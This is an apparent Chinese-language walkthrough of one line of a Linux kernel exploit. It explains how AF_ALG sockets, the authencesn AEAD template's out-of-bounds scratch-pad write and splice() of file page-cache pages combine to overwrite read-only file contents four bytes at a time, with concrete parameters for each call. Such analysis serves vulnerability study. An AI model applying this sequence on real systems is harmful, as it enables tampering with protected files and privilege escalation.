第 5 行(展开):AF_ALG 套接字配置① s.socket(38, 5, 0) 创建 AF_ALG 套接字。38 = AF_ALG,5 = SOCK_SEQPACKET,协议 0。这是触达内核 algif_aead 子模块的入口。 ② bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) 绑定算法类型 aead,算法名 authencesn(hmac(sha256),cbc(aes))。精心选择 authencesn,正是因为它含有 scratch-pad 越界写 bug。该算法模板通常用于 IPsec 的扩展序列号(ESN)模式。 ③ setsockopt(SOL_ALG=279, ALG_SET_KEY=1, key) 配置密钥:d('0800010000000010'+'0'*64) 共 40 字节。前 8 字节是 rtattr 头,指定 AES 密钥长度为 16(0x10)字节;后 32 字节全零,分别作为 HMAC-SHA256 截断密钥和 AES-128 密钥。密钥全零意味着加密是确定性的,攻击者可预测输出。 ④ setsockopt(SOL_ALG, ALG_SET_AUTHSIZE=5, None, 4) 将认证标签(auth tag)大小设为 4 字节。这是关键设置:最小化合法输出的尾部,使 authencesn 的 scratch-pad 写入精确落在目标偏移 t 处(输出末尾 +4 字节)。 ⑤ u, _ = a.accept() AF_ALG 的操作模型:bind() 得到变换描述符,accept() 才能得到可读写的操作套接字 u。 ⑥ o = t + 4 操作长度 = 目标偏移 + 4。AEAD 操作处理 o 字节后,authencesn 将 scratch 4 字节写在偏移 o - 4 = t 处(即我们的目标位置)。每次循环迭代的 t 递增 4,逐步向文件后部写入。 ⑦ sendmsg([b"A"*4+c], cmsg_list, 32768) 核心 sendmsg,包含三部分: ▸ 数据:b"A"*4 + c — 4 字节填充 + 4 字节目标 payload,共 8 字节。 ▸ cmsg (SOL_ALG, 3, \x00\x00\x00\x00):ALG_SET_OP = DECRYPT(解密操作,值 0)。 ▸ cmsg (SOL_ALG, 2, \x10\x00\x00\x00 + 16×\x00):ALG_SET_IV,IV 长度 16,值全零(AES-CBC 的初始向量)。IV 同时包含 ESN 高 32 位信息,决定 scratch-pad 写入的字节内容(即 payload c)。 ▸ cmsg (SOL_ALG, 4, \x08\x00\x00\x00):关联数据(AAD)长度 = 8。指定 sendmsg 数据的前 8 字节全部作为 AAD,后续密文来自 splice 导入的文件页。 ⑧ r, w = os.pipe() 创建 Unix 管道(r = 读端,w = 写端)。管道是连接文件页缓存与 AF_ALG 散列表的中间桥梁。 ⑨ os.splice(f, w, o, offset_src=0) 关键一步。将文件 f 的前 o 字节(从偏移 0)zero-copy splice 进管道写端。此时管道缓冲区持有对文件页缓存页面的引用——这些页面尚未被复制,管道直接指向它们。 ⑩ os.splice(r, u.fileno(), o) 漏洞触发点。将管道读端的内容(即文件页缓存页面的引用)splice 进 AF_ALG 操作套接字 u。algif_aead 的 in-place 优化将这些只读页缓存页面设置为 AEAD 操作的输出目标(Bug 1 就绪)。 |